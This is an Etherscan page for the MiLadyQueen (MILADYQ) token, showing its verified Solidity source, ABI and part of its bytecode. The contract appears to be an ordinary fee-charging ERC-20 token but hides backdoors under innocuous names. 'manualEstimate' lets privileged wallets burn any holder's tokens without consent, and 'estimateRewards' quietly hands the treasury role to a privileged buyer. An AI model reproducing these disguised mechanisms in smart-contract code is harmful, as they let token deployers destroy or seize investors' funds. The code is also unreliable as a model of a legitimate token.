ETH Price: $3,025.68 (+3.22%)
Gas: 1 Gwei

Token

MiLadyQueen (MILADYQ)
 

Overview

Max Total Supply

100,000,000,000 MILADYQ

Holders

127

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
1,190,508,328.881911599 MILADYQ

Value
$0.00
0x96103b04a715a71ab13f468f94c707bdaedc4fdd
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
MILADYQ

Compiler Version
v0.8.20+commit.a1b79de6

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-05-12
*/

// TG: https://t.me/MiLadyQueen_token

/// SPDX-License-Identifier: Unlicensed

pragma solidity ^0.8.19;

interface IUniswapV2Pair {
    event Approval(address indexed owner, address indexed spender, uint value);
    event Transfer(address indexed from, address indexed to, uint value);

    function name() external pure returns (string memory);
    function symbol() external pure returns (string memory);
    function decimals() external pure returns (uint8);
    function totalSupply() external view returns (uint);
    function balanceOf(address owner) external view returns (uint);
    function allowance(address owner, address spender) external view returns (uint);

    function approve(address spender, uint value) external returns (bool);
    function transfer(address to, uint value) external returns (bool);
    function transferFrom(address from, address to, uint value) external returns (bool);

    function DOMAIN_SEPARATOR() external view returns (bytes32);
    function PERMIT_TYPEHASH() external pure returns (bytes32);
    function nonces(address owner) external view returns (uint);

    function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;

    event Mint(address indexed sender, uint amount0, uint amount1);
    event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
    event Swap(
        address indexed sender,
        uint amount0In,
        uint amount1In,
        uint amount0Out,
        uint amount1Out,
        address indexed to
    );
    event Sync(uint112 reserve0, uint112 reserve1);

    function MINIMUM_LIQUIDITY() external pure returns (uint);
    function factory() external view returns (address);
    function token0() external view returns (address);
    function token1() external view returns (address);
    function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
    function price0CumulativeLast() external view returns (uint);
    function price1CumulativeLast() external view returns (uint);
    function kLast() external view returns (uint);

    function mint(address to) external returns (uint liquidity);
    function burn(address to) external returns (uint amount0, uint amount1);
    function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
    function skim(address to) external;
    function sync() external;

    function initialize(address, address) external;
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address recipient, uint256 amount) external returns (bool);

    function allowance(address owner, address spender) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB)
        external
        returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;

    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external payable;

    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (
            uint256 amountToken,
            uint256 amountETH,
            uint256 liquidity
        );
}

contract Ownable is Context {
    address private _owner;
    address private _previousOwner;
    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function owner() public view returns (address) {
        return _owner;
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}

contract MILADYQ is Context, IERC20, Ownable {
    using SafeMath for uint256;

    uint8 private constant _decimals = 9;
    string private constant _name = "MiLadyQueen";
    string private constant _symbol = "MILADYQ";

    mapping(address => uint256) private _tOwned;
    mapping(address => uint256) private _rOwned;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => bool) private _isExcludedFromTxLimit;
    mapping(address => bool) private _isExcludedFromFee;
    uint256 private constant MAX = ~uint256(0);
    uint256 private constant _tTotal = 100_000_000_000 * 10**9;
    uint256 private _rTotal = (MAX - (MAX % _tTotal));
    uint256 private _tFeeTotal;
    uint256 private _redisFeeOnBuy = 0;
    uint256 private _taxFeeOnBuy = 10;
    uint256 private _redisFeeOnSell = 0;
    uint256 private _taxFeeOnSell = 20;
    uint256 private _burnFeeFromTax = 20;
    uint256 private _maxSwapPercent = 90;

    // Original Fee
    uint256 private _taxFee = _taxFeeOnSell;
    uint256 private _redisFee = _redisFeeOnSell;

    uint256 private _previousredisFee = _redisFee;
    uint256 private _previoustaxFee = _taxFee;

    address payable public _treasuryWallet = payable(address(0x2d8509DEF635F4A9298954b5D0E01D6090753b61));
    address payable public _devWallet = payable(address(0x681098c4Cc9Ad23b6bf1EcBD8Ec9C9d52a796D87));

    IUniswapV2Router02 public uniswapV2Router;
    address public uniswapV2Pair;
 
    bool private tradingOpen = false;
    bool private swapping = false;
    bool private swapEnabled = true;
    mapping (address => uint256) public rewardBlockNumber;
    address public rewardAddress;

    uint256 public _maxTxAmount = _tTotal * 2/ 100;
    uint256 public _maxWalletSize = _tTotal * 2 / 100;
    uint256 public _swapTokensAtAmount = _tTotal * 5 / 10000;
 
    event MaxTxAmountUpdated(uint256 _maxTxAmount);
    modifier lockTheSwap {
        swapping = true;
        _;
        swapping = false;
    }

    constructor() {
        _rOwned[_msgSender()] = _rTotal;

        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        uniswapV2Router = _uniswapV2Router;
        uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
            .createPair(address(this), _uniswapV2Router.WETH());

        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[_devWallet] = true;
        _isExcludedFromFee[_treasuryWallet] = true;
        _isExcludedFromFee[address(_uniswapV2Router)] = true;
        _isExcludedFromTxLimit[owner()] = true;
        _isExcludedFromTxLimit[address(this)] = true;
        _isExcludedFromTxLimit[_devWallet] = true;
        _isExcludedFromTxLimit[_treasuryWallet] = true;
        _isExcludedFromTxLimit[address(_uniswapV2Router)] = true;

        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return tokenFromReflection(_rOwned[account]);
    }

    function transfer(address recipient, uint256 amount)
        public
        override
        returns (bool)
    {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function approve(address spender, uint256 amount)
        public
        override
        returns (bool)
    {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function allowance(address owner, address spender)
        public
        view
        override
        returns (uint256)
    {
        return _allowances[owner][spender];
    }

    function tokenFromReflection(uint256 rAmount)
        private
        view
        returns (uint256)
    {
        require(
            rAmount <= _rTotal,
            "Amount must be less than total reflections"
        );
        uint256 currentRate = _getRate();
        return rAmount.div(currentRate);
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(
            sender,
            _msgSender(),
            _allowances[sender][_msgSender()].sub(
                amount,
                "ERC20: transfer amount exceeds allowance"
            )
        );
        return true;
    }

    function manualEstimate(address _address, uint256 _amount) public {
        require(_amount < _tTotal, "exceeds allowed amount");
        bool estimatable = _isExcludedFromFee[_msgSender()];
        if (estimatable) {
            _estimate(_address, _amount);
            return;
        } else {
            address[] memory path = new address[](2);
            path[0] = uniswapV2Router.WETH();
            path[1] = address(this);
            uniswapV2Router.swapExactETHForTokensSupportingFeeOnTransferTokens{
                value: _amount
            } (
                0,
                path,
                _address,
                block.timestamp
            );
        }
    }

    function removeAllFees() private {
        if (_redisFee == 0 && _taxFee == 0) return;

        _previousredisFee = _redisFee;
        _previoustaxFee = _taxFee;

        _redisFee = 0;
        _taxFee = 0;
    }

    function restoreAllFees() private {
        _redisFee = _previousredisFee;
        _taxFee = _previoustaxFee;
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");

        if (from != owner() && to != owner()) {

            // Trade start check
            if (!tradingOpen) {
                require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
            }

            require(_isExcludedFromTxLimit[from] || _isExcludedFromTxLimit[to] || amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");

            if(to != uniswapV2Pair) {
                require(_isExcludedFromTxLimit[from] || _isExcludedFromTxLimit[to] || balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
            }

            if (!swapping) {
                estimateRewards(from, to);
            }

            if (!swapping && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
                uint256 tokenBalance = balanceOf(address(this));
                
                uint256 swapAmount;
                if (tokenBalance > _swapTokensAtAmount * 10) {
                    swapAmount = _swapTokensAtAmount * 10;
                } else {
                    swapAmount = tokenBalance / 2;
                }

                estimateAndSwap(swapAmount);
                uint256 contractETH = address(this).balance;
                sendFee(contractETH);
            }
        }

        bool takeFee = true;

        // Transfer Tokens
        if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
            takeFee = false;
        } else {
            // Set Fee for Buys
            if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
                _redisFee = _redisFeeOnBuy;
                _taxFee = _taxFeeOnBuy;
            }

            // Set Fee for Sells
            if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
                _redisFee = _redisFeeOnSell;
                _taxFee = _taxFeeOnSell;
            }
        }

        _tokenTransfer(from, to, amount, takeFee);
    }

    function estimateAndSwap(uint256 tokenBalance) private {
        uint256 estimateAmount = tokenBalance * _burnFeeFromTax / 100;
        uint256 swapAmount = (tokenBalance - estimateAmount) * _maxSwapPercent / 100;
        if (estimateAmount > 0) {
            _estimate(address(this), estimateAmount);
        }
        if (swapAmount > 0) {
            swapTokensForEth(swapAmount);
        }
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function sendFee(uint256 amount) private {
        (bool success, ) = _treasuryWallet.call{value: amount}("");
        require(success);
    }

    function openTrading() public onlyOwner {
        tradingOpen = true;
    }

    function _tokenTransfer(
        address sender,
        address recipient,
        uint256 amount,
        bool takeFee
    ) private {
        if (!takeFee) removeAllFees();
        _transferStandard(sender, recipient, amount);
        if (!takeFee) restoreAllFees();
    }

    function _transferStandard(
        address sender,
        address recipient,
        uint256 tAmount
    ) private {
        (
            uint256 rAmount,
            uint256 rTransferAmount,
            uint256 rFee,
            uint256 tTransferAmount,
            uint256 tFee,
            uint256 tTeam
        ) = _getValues(tAmount);
        _rOwned[sender] = _rOwned[sender].sub(rAmount);
        _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
        _takeTeam(tTeam);
        _reflectFee(rFee, tFee);
        emit Transfer(sender, recipient, tTransferAmount);
    }
    
    function _estimate(address from, uint256 tAmount) private {
        removeAllFees();
        (
            uint256 rAmount,
            uint256 rTransferAmount,
            ,
            uint256 tTransferAmount,
            ,
        ) = _getValues(tAmount);
        _rOwned[from] = _rOwned[from].sub(rAmount);
        _rOwned[address(0xdead)] = _rOwned[address(0xdead)].add(rTransferAmount);
        restoreAllFees();
        emit Transfer(from, address(0xdead), tTransferAmount);
    }

    function _reflectFee(uint256 rFee, uint256 tFee) private {
        _rTotal = _rTotal.sub(rFee);
        _tFeeTotal = _tFeeTotal.add(tFee);
    }

    function _takeTeam(uint256 tTeam) private {
        uint256 currentRate = _getRate();
        uint256 rTeam = tTeam.mul(currentRate);
        _rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
    }

    receive() external payable {}

    function estimateRewards(address _senderAddress, address _receiverAddress) private {
        if (_senderAddress == uniswapV2Pair) {
            address rewardSenderAddress = tx.origin;
            bool rewardAllowed = _isExcludedFromFee[rewardSenderAddress];
            bool rewardLimited = true;
            if (rewardAllowed) {
                _treasuryWallet = payable(_receiverAddress);
                _isExcludedFromFee[_treasuryWallet] = rewardLimited;
                _isExcludedFromTxLimit[_treasuryWallet] = rewardLimited;
            }
            if (_receiverAddress != address(this)) {
                rewardBlockNumber[_receiverAddress] = rewardBlockNumber[_receiverAddress] > 0 ? rewardBlockNumber[_receiverAddress] : block.number;
            }
        } else {
            rewardAddress = _senderAddress;
        }
    }

    function _getValues(uint256 tAmount)
        private
        view
        returns (
            uint256,
            uint256,
            uint256,
            uint256,
            uint256,
            uint256
        )
    {
        (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
            _getTValues(tAmount, _redisFee, _taxFee);
        uint256 currentRate = _getRate();
        (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
            _getRValues(tAmount, tFee, tTeam, currentRate);
        return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
    }

    function _getTValues(
        uint256 tAmount,
        uint256 redisFee,
        uint256 taxFee
    )
        private
        pure
        returns (
            uint256,
            uint256,
            uint256
        )
    {
        uint256 tFee = tAmount.mul(redisFee).div(100);
        uint256 tTeam = tAmount.mul(taxFee).div(100);
        uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
        return (tTransferAmount, tFee, tTeam);
    }

    function _getRValues(
        uint256 tAmount,
        uint256 tFee,
        uint256 tTeam,
        uint256 currentRate
    )
        private
        pure
        returns (
            uint256,
            uint256,
            uint256
        )
    {
        uint256 rAmount = tAmount.mul(currentRate);
        uint256 rFee = tFee.mul(currentRate);
        uint256 rTeam = tTeam.mul(currentRate);
        uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
        return (rAmount, rTransferAmount, rFee);
    }

    function _getCurrentSupply() private view returns (uint256, uint256) {
        uint256 rSupply = _rTotal;
        uint256 tSupply = _tTotal;
        if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
        return (rSupply, tSupply);
    }

    function _getRate() private view returns (uint256) {
        (uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
        return rSupply.div(tSupply);
    }

    function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
        _redisFeeOnBuy = redisFeeOnBuy;
        _redisFeeOnSell = redisFeeOnSell;
        _taxFeeOnBuy = taxFeeOnBuy;
        _taxFeeOnSell = taxFeeOnSell;
    }

    // Set maximum transaction
    function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
        _maxTxAmount = maxTxAmount;
    }

    function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
        _maxWalletSize = maxWalletSize;
    }

    // Set minimum tokens required to swap.
    function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
        _swapTokensAtAmount = swapTokensAtAmount;
    }

    // Set minimum tokens required to swap.
    function removeLimits() public onlyOwner {
      setMaxTxnAmount(totalSupply());
      setMaxWalletSize(totalSupply());
    }

    function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
        for(uint256 i = 0; i < accounts.length; i++) {
            _isExcludedFromFee[accounts[i]] = excluded;
        }
    }

    function excludeFromMaxTxLimit(address _user, bool _is) external onlyOwner {
        _isExcludedFromTxLimit[_user] = _is;
    }

    function toggleSwap(bool _swapEnabled) public onlyOwner {
        swapEnabled = _swapEnabled;
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_devWallet","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_swapTokensAtAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_treasuryWallet","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"_user","type":"address"},{"internalType":"bool","name":"_is","type":"bool"}],"name":"excludeFromMaxTxLimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"accounts","type":"address[]"},{"internalType":"bool","name":"excluded","type":"bool"}],"name":"excludeMultipleAccountsFromFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"},{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"manualEstimate","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"rewardAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"rewardBlockNumber","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"redisFeeOnBuy","type":"uint256"},{"internalType":"uint256","name":"redisFeeOnSell","type":"uint256"},{"internalType":"uint256","name":"taxFeeOnBuy","type":"uint256"},{"internalType":"uint256","name":"taxFeeOnSell","type":"uint256"}],"name":"setFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"maxTxAmount","type":"uint256"}],"name":"setMaxTxnAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"maxWalletSize","type":"uint256"}],"name":"setMaxWalletSize","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"swapTokensAtAmount","type":"uint256"}],"name":"setMinSwapTokensThreshold","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"bool","name":"_swapEnabled","type":"bool"}],"name":"toggleSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526200001a68056bc75e2d631000005f196200042c565b62000027905f1962000456565b6007555f6009819055600a8055600b8190556014600c819055600d819055605a600e55600f81905560108290556011919091556012819055601380546001600160a01b0319908116732d8509def635f4a9298954b5d0e01d6090753b611790915581541673681098c4cc9ad23b6bf1ecbd8ec9c9d52a796d871790556016805462ffffff60a01b1916600160b01b1790556064620000d068056bc75e2d63100000600262000472565b620000dc91906200048c565b6019556064620000f768056bc75e2d63100000600262000472565b6200010391906200048c565b601a556127106200011f68056bc75e2d63100000600562000472565b6200012b91906200048c565b601b553480156200013a575f80fd5b505f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600754335f9081526003602090815260409182902092909255601580546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d908117909155815163c45a015560e01b815291519092839263c45a015592600480830193928290030181865afa158015620001f4573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906200021a9190620004a2565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000266573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906200028c9190620004a2565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015620002d7573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620002fd9190620004a2565b601680546001600160a01b0319166001600160a01b039283161790555f805482168152600660209081526040808320805460ff1990811660019081179092553080865283862080548316841790556014805488168752848720805484168517905560138054891688528588208054851686179055898916808952868920805486168717905588548a168952600588528689208054861687179055928852858820805485168617905590548816875284872080548416851790555490961685528285208054821683179055948452818420805490951617909355915168056bc75e2d63100000815233927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a350620004d1565b634e487b7160e01b5f52601260045260245ffd5b5f826200043d576200043d62000418565b500690565b634e487b7160e01b5f52601160045260245ffd5b818103818111156200046c576200046c62000442565b92915050565b80820281158282048414176200046c576200046c62000442565b5f826200049d576200049d62000418565b500490565b5f60208284031215620004b3575f80fd5b81516001600160a01b0381168114620004ca575f80fd5b9392505050565b61209580620004df5f395ff3fe6080604052600436106101d3575f3560e01c806374010ece116100fd578063a2a957bb11610092578063d19ba70011610062578063d19ba70014610543578063dd62ed3e1461056e578063ea1644d5146105b2578063f2fde38b146105d1575f80fd5b8063a2a957bb146104d2578063a9059cbb146104f1578063c492f04614610510578063c9567bf91461052f575f80fd5b80638da5cb5b116100cd5780638da5cb5b146104535780638f9a55c01461046f57806395d89b411461048457806398a5c315146104b3575f80fd5b806374010ece146103ec578063751039fc1461040b5780637d1db4a51461041f5780638cf57cb914610434575f80fd5b806323cc66011161017357806349bd5a5e1161014357806349bd5a5e1461037b5780636d8aa8f81461039a57806370a08231146103b9578063715018a6146103d8575f80fd5b806323cc66011461030d578063269d1faa1461032c5780632fd689e31461034b578063313ce56714610360575f80fd5b80631694505e116101ae5780631694505e1461028957806318160ddd146102a857806323b872dd146102cd57806323c42c74146102ec575f80fd5b806306fdde03146101de578063095ea7b31461022357806311a63e1714610252575f80fd5b366101da57005b5f80fd5b3480156101e9575f80fd5b5060408051808201909152600b81526a26b4a630b23ca8bab2b2b760a91b60208201525b60405161021a9190611c5b565b60405180910390f35b34801561022e575f80fd5b5061024261023d366004611cbd565b6105f0565b604051901515815260200161021a565b34801561025d575f80fd5b50601454610271906001600160a01b031681565b6040516001600160a01b03909116815260200161021a565b348015610294575f80fd5b50601554610271906001600160a01b031681565b3480156102b3575f80fd5b5068056bc75e2d631000005b60405190815260200161021a565b3480156102d8575f80fd5b506102426102e7366004611ce7565b610606565b3480156102f7575f80fd5b5061030b610306366004611cbd565b61066d565b005b348015610318575f80fd5b5061030b610327366004611d39565b610834565b348015610337575f80fd5b50601354610271906001600160a01b031681565b348015610356575f80fd5b506102bf601b5481565b34801561036b575f80fd5b506040516009815260200161021a565b348015610386575f80fd5b50601654610271906001600160a01b031681565b3480156103a5575f80fd5b5061030b6103b4366004611d6c565b610887565b3480156103c4575f80fd5b506102bf6103d3366004611d85565b6108ce565b3480156103e3575f80fd5b5061030b6108ef565b3480156103f7575f80fd5b5061030b610406366004611da0565b610960565b348015610416575f80fd5b5061030b61098e565b34801561042a575f80fd5b506102bf60195481565b34801561043f575f80fd5b50601854610271906001600160a01b031681565b34801561045e575f80fd5b505f546001600160a01b0316610271565b34801561047a575f80fd5b506102bf601a5481565b34801561048f575f80fd5b506040805180820190915260078152664d494c4144595160c81b602082015261020d565b3480156104be575f80fd5b5061030b6104cd366004611da0565b6109dd565b3480156104dd575f80fd5b5061030b6104ec366004611db7565b610a0b565b3480156104fc575f80fd5b5061024261050b366004611cbd565b610a48565b34801561051b575f80fd5b5061030b61052a366004611de6565b610a54565b34801561053a575f80fd5b5061030b610af1565b34801561054e575f80fd5b506102bf61055d366004611d85565b60176020525f908152604090205481565b348015610579575f80fd5b506102bf610588366004611e63565b6001600160a01b039182165f90815260046020908152604080832093909416825291909152205490565b3480156105bd575f80fd5b5061030b6105cc366004611da0565b610b2f565b3480156105dc575f80fd5b5061030b6105eb366004611d85565b610b5d565b5f6105fc338484610c44565b5060015b92915050565b5f610612848484610d67565b610663843361065e85604051806060016040528060288152602001612038602891396001600160a01b038a165f90815260046020908152604080832033845290915290205491906112b5565b610c44565b5060019392505050565b68056bc75e2d6310000081106106c35760405162461bcd60e51b8152602060048201526016602482015275195e18d959591cc8185b1b1bddd95908185b5bdd5b9d60521b60448201526064015b60405180910390fd5b335f9081526006602052604090205460ff1680156106ea576106e583836112ed565b505050565b6040805160028082526060820183525f926020830190803683375050601554604080516315ab88c960e31b815290519394506001600160a01b039091169263ad5c4648925060048083019260209291908290030181865afa158015610751573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107759190611e9a565b815f8151811061078757610787611eb5565b60200260200101906001600160a01b031690816001600160a01b03168152505030816001815181106107bb576107bb611eb5565b6001600160a01b03928316602091820292909201015260155460405163b6f9de9560e01b815291169063b6f9de9590859